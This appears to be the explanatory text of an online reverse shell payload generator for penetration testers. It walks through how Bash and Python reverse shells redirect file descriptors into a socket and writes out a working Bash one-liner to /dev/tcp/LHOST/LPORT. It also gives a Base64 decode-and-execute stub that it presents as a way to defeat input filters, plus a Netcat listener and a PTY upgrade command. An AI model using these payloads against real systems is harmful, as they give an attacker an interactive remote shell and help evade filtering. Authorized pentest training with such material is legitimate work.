Build Reverse Shell One-Liners for Your Pentest

A reverse shell flips the normal client-server direction: instead of you connecting to the target, the target connects back to your listener. Every payload below is assembled from three variables — LHOST (your IP), LPORT (your port) and the target's available interpreter — substituted into a known-good template string.

The core trick in most Unix payloads is file-descriptor redirection. The Bash one-liner opens a TCP socket through the kernel's /dev/tcp/HOST/PORT pseudo-device, then redirects stdin (0), stdout (1) and stderr (2) into that socket: bash -i >& /dev/tcp/LHOST/LPORT 0>&1. The -i flag forces an interactive shell so you get a prompt. The Python variant does the same job explicitly: it creates a socket, calls connect((LHOST, LPORT)), then os.dup2() clones the socket's file descriptor onto descriptors 0, 1 and 2 before spawning pty.spawn() for a real TTY.

The optional Base64 wrap is what defeats naive input filters. The generator takes the raw command bytes, computes the standard Base64 alphabet encoding in-browser (using btoa with a UTF-8 safe pre-pass), and emits a decode-and-execute stub such as echo BASE64 | base64 -d | bash. This is useful when a parameter strips spaces, quotes or slashes. URL-encoding instead percent-escapes every reserved character so the payload survives a query string or HTTP body. None of these transforms change what runs — they only change how the bytes travel.

The listener hint auto-updates to nc -lvnp PORT because a plain Netcat catcher is enough for these shells; for the PowerShell payload you may prefer a TLS-capable listener. Always upgrade a raw shell to a full PTY (python3 -c 'import pty;pty.spawn("/bin/bash")') once you land it.